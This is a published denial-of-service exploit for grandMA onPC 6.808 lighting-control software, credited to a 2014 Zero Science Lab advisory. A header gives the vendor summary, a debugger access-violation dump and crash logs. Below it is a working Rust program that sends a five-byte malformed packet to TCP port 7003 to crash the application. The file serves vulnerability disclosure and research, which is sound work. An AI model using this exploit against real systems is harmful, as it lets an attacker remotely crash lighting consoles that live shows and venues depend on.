/* MA Lighting Technology grandMA onPC v6.808 Remote Denial of Service Exploit Vendor: MA Lighting Technology GmbH Product web page: http://www.malighting.com Affected version: grandMA series 1 onPC Software 6.808 (6.801) Summary: The grandMA onPC software incorporates all functions of a grandMA console and offers you its full potential on your notebook or PC. You can use grandMA onPC for running, programming or offline pre-programming, as well as a smart backup solution within the grandMA system. With the MA onPC command wing and MA onPC fader wing MA Lighting has developed a sophisticated hardware extension perfectly suited for the grandMA onPC software. Desc: grandMA onPC version 6.808 is exposed to a remote denial of service issue when processing socket connection negotiation. This issue occurs when the application handles a single malformed packet over TCP port 7003, resulting in a crash. =========================================================================== (1324.be4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=3535393f ebx=07279f80 ecx=35353937 edx=0c05f038 esi=3535393f edi=3535393b eip=77ce22c2 esp=0c05ef7c ebp=0c05ef90 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlEnterCriticalSection+0x12: 77ce22c2 f00fba3000 lock btr dword ptr [eax],0 ds:002b:3535393f=???????? -- 303.640 GMA : RR NEW STATION IN NETWORK 127.0.0.1(100) AS Standalone 367.147 SHAR: RPC COMMAND UNSUPPORTED CMD 542393671 from 127.0.0.1 367.147 SHAR: SHARED_REMOTECALL NOT TERMINATED CORRECTLY ! 367.180 CC : ******* EXCEPTION ************************** 367.180 CC : * ACCESS_VIOLATION 367.180 CC : * EAX = 37363341 EBX = 6D856B0 367.180 CC : * ECX = 37363339 EDX = B78F41C 367.180 CC : * ESI = 37363341 EDI = 3736333D 367.180 CC : * DESKTYP : GMA [Windows] 367.180 CC : * VERSION : 6.808 STREAMING : 6801 367.180 CC : ******************************************** 367.240 CC : 0x775522c2 RtlEnterCriticalSection() + 0x12 =========================================================================== Tested on: Microsoft Windows 7 Professional SP1 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5183 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5183.php 31.03.2014 */ use std::io::net::ip::SocketAddr; use std::io::net::tcp::TcpStream; fn bann() { println!(" +======================================+ | grandMA onPC 6.808 Denial of Service | |--------------------------------------| | | | ID: ZSL-2014-5183 | +======================================+ "); } fn main() { bann(); println!("\n[*] Sending packet to local host on tcp port 7003\n"); let addr = from_str::<SocketAddr>("127.0.0.1:7003").unwrap(); let mut socket = TcpStream::connect(addr).unwrap(); socket.write(bytes!("\x74\x30\x30\x74\x21")); println!("[*] Crashed!\n"); }